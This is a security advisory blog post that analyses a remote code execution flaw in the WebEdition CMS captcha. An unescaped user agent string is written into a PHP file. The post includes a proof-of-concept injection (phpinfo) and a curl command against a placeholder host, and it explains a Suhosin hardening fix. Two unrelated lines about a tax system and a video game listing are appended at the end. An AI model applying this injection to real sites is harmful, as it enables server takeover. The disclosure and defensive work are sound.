Introduction WebEdition CMS is an open source CMS written in PHP that seems to be mostly used by german websites. It came to our attention a few months ago, because another party performed an audit on it and came up with some vulnerabilities. Because we always look for nice PHP bugs for our own PHP and web security trainings we had a very quick look into it and were able to find a number of vulnerabilites that we disclosed to the vendor. The most serious vulnerability that we discovered is a remote PHP code execution vulnerability that is exposed to attackers if a site uses the captcha functionality of WebEdition. We initially contacted the WebEdition CMS authors on 4th June 2014, but it took a week, several e-mails and a phone call to finally be able to disclose the vulnerability on 11th of June 2014. After that it took them until 10th of July 2014 to finally release WebEdition 6.3.8-s2 to fix this and a few other vulnerabilities. Unfortunately the only way to get this security patch is to use their OnlineInstaller. It does not seem possible to download a tarball of the most recent version with the security patch. Instead the previous vulnerable version is offered as download. When we initially contacted them the same was true for the first security patch, which we criticized back then. However it seems the problem is still persisting. While the developers waited about a month to push an update to fix the remote code execution problem, we already pushed a generic protection against this class of vulnerabilities to our Suhosin extension 0.9.36 which was released on 10th of June. So if you are running that version of Suhosin you were safe from this attack even before it was successfully disclosed to the developers. In this post we will discuss this remote code execution vulnerability in WebEdition's captcha implementation and explain the generic protection that we pushed into Suhosin.. The Vulnerability When you start looking for PHP vulnerabilities one of the first thing you should do is search for calls to potentially dangerous functions. One of those notorious functions is unserialize(). It is one of my favourite PHP functions, because whenever it is filled with user input it will result in problems. We recently covered just another vulnerability in unserialize() in our blog that allowed for remote code execution. So when you do this search in WebEdition CMS you also will find a number of places where unserialize() is used. Here is an example from the CaptchaMemory class that is used to store the captcha codes for a specific visitor and for its later verification. It is defined in the file /we/include/we_classes/captcha/captchaMemory.class.php. <?php class CaptchaMemory{ ... static function readData($file){ if(file_exists($file . ".php")){ include($file . ".php"); if(isset($data)){ return unserialize($data); } } return array(); } ... } When you see code like the one above you will realize that a variable called $data is unserialized that is not defined inside the function itself. However you will also see an include statement just infront of it that includes another PHP file. This means whatever PHP file included has to define the $data variable. At this point we would normally go and check for two things. can we control the $file paramter? where are those files coming from? To answer the first question we have to backtrack all calls to CaptchaMemory::readData(). Luckily there are only two such calls inside the code and they are both in different methods of the CaptchaMemory class. One call is in CaptchaMemory::save() and one call in CaptchaMemory::isValid(). However when you look at the code of these methods you will see that they are only forwarding the $file name from their own parameters as you can see here. <?php class CaptchaMemory { ... function isValid($captcha, $file){ $returnValue = false; $items = self::readData($file); ... } This means we have to now backtrack all calls to these two methods. Again we are lucky because there are only two calls to those two methods. This time both hits are in the class Captcha, which is defines in /we/include/we_classes/captcha/captcha.class.php. <?php abstract class Captcha { static function display($image, $type = "gif") { ... // save the code to the memory CaptchaMemory::save($code, Captcha::getStorage()); } ... static function check($captcha) { return CaptchaMemory::isValid($captcha, Captcha::getStorage()); } As you can see in both cases the filename used is coming from a method called Captcha::getStorage(). So lets have a look into that method to see if there is a way to control it. <?php static function getStorage() { return TEMP_PATH. 'captchacodes.tmp'; } And this is the end of our backtrack. Unfortunately for us as attackers the filename returned and used for captcha storage is hardcoded into the code and cannot be influenced by us. Well actually this is not completely true, because there might be a problem in the definition of the TEMP_PATH constant and we would have to track down how it is constructed. But we ignore that possibility for now. This means we have evaluated the first way to abuse the unserialize and we have to see what is actually stored in these captcahcodes.tmp files. Lets get back to the CaptchaMemory class. There is one interesting method called CaptchaMemory::writeFile() that we should have a look into. <?php static function writeData($file, $data){ if(count($data) < 1){ if(file_exists($file . '.php')){ weFile::delete($file . '.php'); } } else{ weFile::save($file . '.php', '<?php $data=\'' . serialize($data) . '\';', 'w+'); } } This function takes whatever data is supplied and writes it into a PHP file of the form. <?php $data='SERIALIZED_DATA'; This is potentially dangerous, because the serialized data might contain single quote characters that will break out of the PHP string context and therefore result in PHP code execution. We therefore have to backtrack all calls to CaptchaMemory::writeFile(). We are again lucky, because this method is also only called in two places. The first hit is in CaptchaMemory::save() and the second one in CaptchaMemory::isValid(). Because we are more interested in the actual data that is stored in the file we will check the more obvious source CaptchaMemory::save(). <?php function save($captcha, $file){ $items = self::readData($file); // delete old items if(!empty($items)) { ... } $items[$captcha] = array( 'time' => time() + 30 * 60, 'ip' => $_SERVER['REMOTE_ADDR], 'agent' => $_SERVER['HTTP_USER_AGENT], ); self::writeData($file, $items); } The code reads the previously stored data from the file. Then goes through all the captchas and deletes the old ones and finally adds a new entry into the array that is then passed to CaptchaMemory::writeData() which will serialize the array and store it as PHP code in the temporary file. When you look at the array that is serialized you will see the following three entries: time - just the current time plus 30 minutes ip - the ip of the client connecting to the webserver agent - the browser supplied user agent string Taking this into consideration we can see that only the user agent string is arbitrary user input. The other options cannot be controlled in a way that they might result in an attack. However the user agent string can be completely controlled by a potential attacker. Now imagine what happens if you set your browser's user agent string to the following: What will happen is that CaptchaMemory::writeData() will generate the following output file. <?php $data='a:1:{s:5:"ABCDE";a:3:{s:4:"time";i:1409993554;s:2:"ip";s:9:"127.0.0.1";s:5:"agent";s:16:"'; phpinfo(); //";}}'; And if you look carefully you will see that this translates to: <?php $data='a:1:{s:5:"ABCDE";a:3:{s:4:"time";i:1409993554;s:2:"ip";s:9:"127.0.0.1";s:5:"agent";s:16:"'; phpinfo(); //";}}'; This means remote code execution against the captcha can be trivially achieved by just using curl on the command line. $ curl --user-agent "'; phpinfo(); //" http://www.target/ Generic Protection When we saw this problem we decided that it would be a good time to add a generic protection against this kind of attack to Suhosin. Of course we cannot solve the problem that user input ends up in potentially dangerous functions in a generic way, but we can stop injections through the HTTP user agent. We do that by extending one of Suhosin's features to also cover the variable $_SERVER[HTTP_USER_AGENT]. The feature I am talking about is suhosin.server.strip which is activated by default. It is documented as follows in our documentation. The idea behind this protection is that there are a number of characters like <, >, ', " and line breaks that under normal circumstances will never be found in the variables PHP_SELF, PATH_INFO, PATH_TRANSLATED or the HTTP_USER_AGENT. However these characters can end up in these variables and cause harm in case the PHP application developer did not expect them. This can then lead to problems like XSS through the PHP_SELF string or HTTP user agent or even worse to SQL injection or in our case even PHP remote code execution. Suhosin therefore contains a very simple generic protection against these kind of problems: Whenever it sees one of these dangerous characters in PHP_SELF, PATH_INFO, PATH_TRANSLATED or the HTTP_USER_AGENT, it will just replace them with question marks '?'. Source: https://www.sektioneins.de/en/blog/14-09-05-webedition-captcha-code-execution-vulnerability.html

SAT | Sistem Automat de Taxare

Amazon.com: Grand Theft Auto V - PC: Video Games